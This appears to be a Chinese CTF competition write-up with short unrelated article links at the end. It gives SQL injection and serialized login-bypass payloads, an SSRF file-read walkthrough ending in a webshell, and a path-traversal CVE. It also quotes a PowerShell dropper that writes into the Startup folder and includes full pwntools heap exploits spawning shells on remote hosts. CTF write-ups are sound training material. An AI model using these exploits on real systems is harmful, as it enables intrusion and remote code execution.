web

easysql【已解决】

uname=a') union select 1,extractvalue(1, concat(0x7e, (select database()),0x7e))#&passwd=a

datavase

[*] security

Database: security

[5 tables]

+----------+

| emails   |

| flag     |

| referers |

| uagents  |

| users    |

+----------+

查列:

uname=a') union select 1,extractvalue(1, concat(0x7e, (select * from (select * from flag as a join flag b)c),0x7e))#&passwd=a

flag{c7651cb673c911ee8f9977094a220f17}

ezsqli【已解决】

flag{de3110dce011088cd4add1950a49182f}

Secret Guess

http://124.71.167.32:32768/

const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")
const app = express();
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.get('/', (req, res) => {
res.render("index")
})
app.post('/', (req, res) => {
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {
res.render("index", {result: process.execSync("echo $FLAG")})
} else {
res.render("index", {result: "wrong secret"})
}
})
app.get('/source', (req, res) => {
res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})
app.listen(80, "0.0.0.0");

呜呜呜 我没手

CVE-2017-14849漏洞

flag在 static/../../foo/../../../usr/local/app/.env

buuoj上有环境 直接复现一下

https://paper.seebug.org/439/

人傻了 在firefox地址栏输../会被吞掉,当时做题没注意以为没有

SSRF ME

一个简单的SSRF???

http://124.71.187.100:8079/

读文件,读到index:

<!--?php
error_reporting(0);
session_start();
require_once "lib.php";
init(); $is_die = 0;
$is_post = 0;
$die_mess = '';
$url = ''; if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
$url = $_POST['url'];
$captcha = $_POST['captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION['answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
} if ( preg_match('/flag|proc|log/i', $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
} ?-->

lib.php

<!--?php
session_start();
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
} function set_session()
{
$answer = rand(1,100000);
$_SESSION['captcha'] = substr(md5($answer),-6,6);
$_SESSION['answer'] = strval($answer);
} function destroy_session()
{
$_SESSION = [];
} function init()
{
if (!isset($_SESSION['captcha']) || !isset($_SESSION['answer']) || isset($_GET['reset']))
{
destroy_session();
set_session();
isset($_GET['reset']) ? die("<script-->

/etc/apache2/apache2.conf

file:///etc/apache2/sites-enabled/000-default.conf

ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined 
ServerAdmin secret@localhost DocumentRoot /var/www/htmlssrf123123 ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined

file:///etc/apache2/ports.conf

Listen 80 Listen 47852 Listen 443 Listen 443

读第二个web目录读文件:

file:///var/www/htmlssrf123123/index.php

<!--?php
    if(isset($_POST['cmd'])){
        exec($_POST['cmd']);
    } 
?-->

warmup【已解决】

    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }     public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }     public function waf(){
    $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
    foreach ($blacklist as $value) {
    if(strripos($this->table, $value)){
    die('bad hacker,go out!');
    }
    }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }

YToxOntzOjI6ImlwIjtzOjEyOiIxODMuMjM2LjAuOTEiO30=

a:1:{s:2:"ip";s:12:"183.236.0.91";}

<?php

class SQL {

	public $table="users";
public $username="admin";
public $password="admin' or '1'='1";
} $SQL = new SQL(); echo serialize($SQL);

再base64编码就行了

flag{5dd2d5f45fw6e6f11ewf1f224f5121e2}

misc

emisc

elf可执行文件

你觉得这个是什么文件

re

html

# $client = new-object System.Net.WebClient;
# $client.DownloadFile("http://192.168.69.129:8000/ielogo.png", "$env:temp/20203917.tmp")
# $client.DownloadFile("http://192.168.69.129:8000/_TMP12", "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helper.bat") # read file
$content = [IO.File]::ReadAllText("$pwd\doc.chm")
$idx1 = $content.IndexOf("xxxxxxxx") $helper = $content.Substring($idx1 + 8)
$cont = [System.Convert]::FromBase64String($helper) Set-Content "$env:temp\20201122.tmp" $cont -Encoding byte

pwn

noteplus【已解决】

#!/usr/bin/python2
from pwn import * LOCAL = False
binfile='./noteplus'
libcfile='./libc-2.27.so'
offset=0 e=ELF(binfile) context.log_level='debug'
context.arch=e.arch
if context.arch=='i386':
x86=True
else:
x86=False if LOCAL:
c = process(binfile)
if libcfile:
libc=ELF(libcfile)
else:
if x86:
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
else:
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
c = remote('121.36.245.213',23333)
if libcfile:
libc=ELF(libcfile) def add(idx,size):
c.sendlineafter('ce: ','1')
c.sendlineafter('Index: ',str(idx))
c.sendlineafter('Size: ',str(size)) def rm(idx):
c.sendlineafter('ce: ','2')
c.sendlineafter('Index: ',str(idx)) def edit(idx,content):
c.sendlineafter('ce: ','3')
c.sendlineafter('Index: ',str(idx))
c.sendafter('Content: ',content) def view(idx):
c.sendlineafter('ce: ','4')
c.sendlineafter('Index: ',str(idx))
c.recvuntil('Content: ') for i in range(8):
add(i,0x88) add(8,0x4)
add(9,0x88)
add(10,0x88) for i in range(7):
rm(6-i) rm(7) for i in range(8):
add(i,0x88) view(7)
ma_a=int(u64(c.recv(6).ljust(8,'\x00')))-96
log.success(hex(ma_a))
ma_o=0x3ebc40
lib_b=ma_a-ma_o
fh_a=lib_b+libc.symbols['__free_hook']
log.success(hex(fh_a))
sys_a=lib_b+libc.symbols['system'] rm(9) edit(8,cyclic(0x8)+p64(0x20+0x90)+p64(0x90)+p64(fh_a-8)+cyclic(0x88)+'/bin/sh\x00'+'\n') add(11,0x88)
add(12,0x88) edit(12,p64(sys_a)+'\n') rm(10) c.interactive()

youchat【已解决】

#!/usr/bin/python2
from pwn import * LOCAL = False
binfile='./youchat'
libcfile='./libc-2.27.so'
offset=0 e=ELF(binfile) context.log_level='info'
context.arch=e.arch
if context.arch=='i386':
x86=True
else:
x86=False if LOCAL:
c = process(binfile)
if libcfile:
libc=ELF(libcfile)
else:
if x86:
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
else:
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
c = remote('124.70.158.59',30023)
if libcfile:
libc=ELF(libcfile) def add(idx,size,name,pword):
c.sendlineafter('ce: ','1')
c.sendlineafter('Index: ',str(idx))
c.sendlineafter('How long is your user id: ',str(size))
c.sendafter('User name: ',name)
c.sendafter('Password: ',pword) def rm(idx):
c.sendlineafter('ce: ','2')
c.sendlineafter('Index: ',str(idx)) def edit(idx,content):
c.sendlineafter('ce: ','3')
c.sendlineafter('Index: ',str(idx))
c.sendafter('New username: ',content) def view(idx):
c.sendlineafter('ce: ','4')
c.sendlineafter('Index: ',str(idx))
c.recvuntil('Username: ') s='/bin/sh;'
size=0x88 for i in range(8):
add(i,size,s,s) add(8,size,s,s) for i in range(7):
rm(6-i) rm(7) for i in range(7):
add(i,size,s,s) add(7,size,s,s) view(7)
c.recv(8)
ma_a=int(u64(c.recv(6).ljust(8,'\x00')))-96
log.success('ma_a: '+hex(ma_a))
ma_o=0x3ebc40
lib_b=ma_a-ma_o
fh_a=lib_b+libc.symbols['__free_hook']
log.success('fh_a: '+hex(fh_a))
sys_a=lib_b+libc.symbols['system'] offset=0x20 rm(7)
add(7,size,s,cyclic(16)) rm(6)
edit(7,cyclic(0x20)+p64(fh_a)) add(9,size,s,s) add(10,size,s,s) edit(10,p64(sys_a)) rm(9) c.interactive()

第九届网安竞赛writeup的更多相关文章

  1. 『NYIST』第九届河南省ACM竞赛队伍选拔赛[正式赛二]-最小内积(第八届北京师范大学程序设计竞赛决赛)

    H. 最小内积                                                                   Time Limit: 1000ms Memory ...

  2. 『NYIST』第九届河南省ACM竞赛队伍选拔赛[正式赛二]- Nearly Lucky Number(Codeforces Beta Round #84 (Div. 2 Only)A. Nearly)

    A. Nearly Lucky Number time limit per test 2 seconds memory limit per test 256 megabytes input stand ...

  3. 『NYIST』第九届河南省ACM竞赛队伍选拔赛[正式赛二]--Codeforces -35D. Animals

    D. Animals time limit per test 2 seconds memory limit per test 64 megabytes input input.txt output o ...

  4. 谈一谈第九届移动互联网开发者大会( MDCon 2016 )

    4G时代的开启以及移动终端设备的凸显必将为移动互联网的发展注入巨大的能量,2016年移动互联网产业必将带来前所未有的飞跃.第九届移动互联网开发者大会以"DT时代的移动开发技术创新" ...

  5. 想学渗透测试,应该考CISP-PTE还是NISP-PT?|网安伴nisp和cisp

    其实两者都可,但要看考生的实际需求! 为什么说两者都可以? 两个证书都由中国信息安全测评中心颁发,CISP-PTE全称国家注册渗透测试工程师,NISP-PT全称国家信息安全水平考试-渗透测试工程师专项 ...

  6. 2014嘉杰信息杯ACM/ICPC湖南程序设计邀请赛暨第六届湘潭市程序设计竞赛

    比赛链接: http://202.197.224.59/OnlineJudge2/index.php/Contest/problems/contest_id/36 题目来源: 2014嘉杰信息杯ACM ...

  7. 2018年第九届蓝桥杯B组题C++汇总解析-fishers

    2018年第九届蓝桥杯B组题C++解析-fishers 题型 第一题:第几天 第二题:明码 第三题:乘积尾零 第四题:测试次数 第五题:快速排序 第六题:递增三元组 第七题:螺旋折线 第八题:日志统计 ...

  8. nyoj1273 河南省第九届省赛_"宣传墙"、状压DP+矩阵幂加速

    宣传墙 时间限制:1000 ms  |  内存限制:65535 KB 难度:4 描述 ALPHA 小镇风景美丽,道路整齐,干净,到此旅游的游客特别多.CBA 镇长准备在一条道路南 面 4*N 的墙上做 ...

  9. NYOJ 1272 表达式求值 第九届省赛 (字符串处理)

    title: 表达式求值 第九届省赛 nyoj 1272 tags: [栈,数据结构] 题目链接 描述 假设表达式定义为: 1. 一个十进制的正整数 X 是一个表达式. 2. 如果 X 和 Y 是 表 ...

随机推荐

  1. vue 主次页面区分

    1.路由设定,增加meta参数 { path: '/', name: 'Home', component: Home, meta: { index: 0, showFooter: true //由这个 ...

  2. 记一次某网站生产环境CPU忽高忽低故障解决过程

    感谢 感谢[一级码农] 的帮助,之前也读了大佬的好多文章,一直在学习中,也没有实际操作过. 这次的过程也是在大佬的指点下完成的. 现象描述 从周六上午开始,陆续收到服务器CPU高的报警短信,到下午已经 ...

  3. Python3入门系列之-----循环语句(for/while)

    前言 for循环在Python中是用的比较多的一种循环方法,小伙伴需要熟练掌握它的使用 本章节将为大家介绍 Python 循环语句的使用.Python 中的循环语句有 for 和 while for循 ...

  4. Vite插件开发纪实:vite-plugin-monitor(下)

    前言 上一篇介绍了Vite启动,HMR等时间的获取. 但各阶段详细的耗时信息,只能通过debug的日志获取 本文就实现一下debug日志的拦截 插件效果预览 --debug做了什么 项目启动指令 vi ...

  5. 11.5.1 LVS-DR 实验

    lvs-server VIP:10.211.55.99 DIP:10.211.55.23 负载均衡器   rs01 RIP:10.211.55.24 后端服务器   rs02 RIP:10.211.5 ...

  6. MyCat的快速搭建

    1. 概述 老话说的好:一个好汉三个帮,一个人再聪明.再有本事,也要借助他人的力量,才能成功. 言归正传,今天我们来聊聊 MyCat的快速搭建. 2. 场景介绍 服务器A IP:192.168.1.2 ...

  7. 重磅 | 阿里开源首个 Serverless 开发者平台 Serverless Devs

    Serverless 从概念提出到应用,已经走过了 8 个年头,开发者对 Serverless 的使用热情不断高涨.为帮助开发者实现一键体验多云产品,极速部署 Serverless 项目,10 月 2 ...

  8. vj-2021.6.5-补题

    B - B 内容: One day, as Sherlock Holmes was tracking down one very important criminal, he found a wond ...

  9. ❤️【Python从入门到精通】(二十七)更进一步的了解Pillow吧!

    您好,我是码农飞哥,感谢您阅读本文,欢迎一键三连哦. 进一步介绍Pillow库的使用,详细了解 干货满满,建议收藏,需要用到时常看看. 小伙伴们如有问题及需要,欢迎踊跃留言哦~ ~ ~. 前言 本文是 ...

  10. epoll实现快速ping

    概述 在VOIP的运营过程中,最常见的一类问题就是语音质量问题,网络间的丢包.延迟.抖动都会造成语音质量的体验下降. 当现网出现语音质量问题的时候,我们有没有工具能够快速的界定问题的边界,缩小排查的范 ...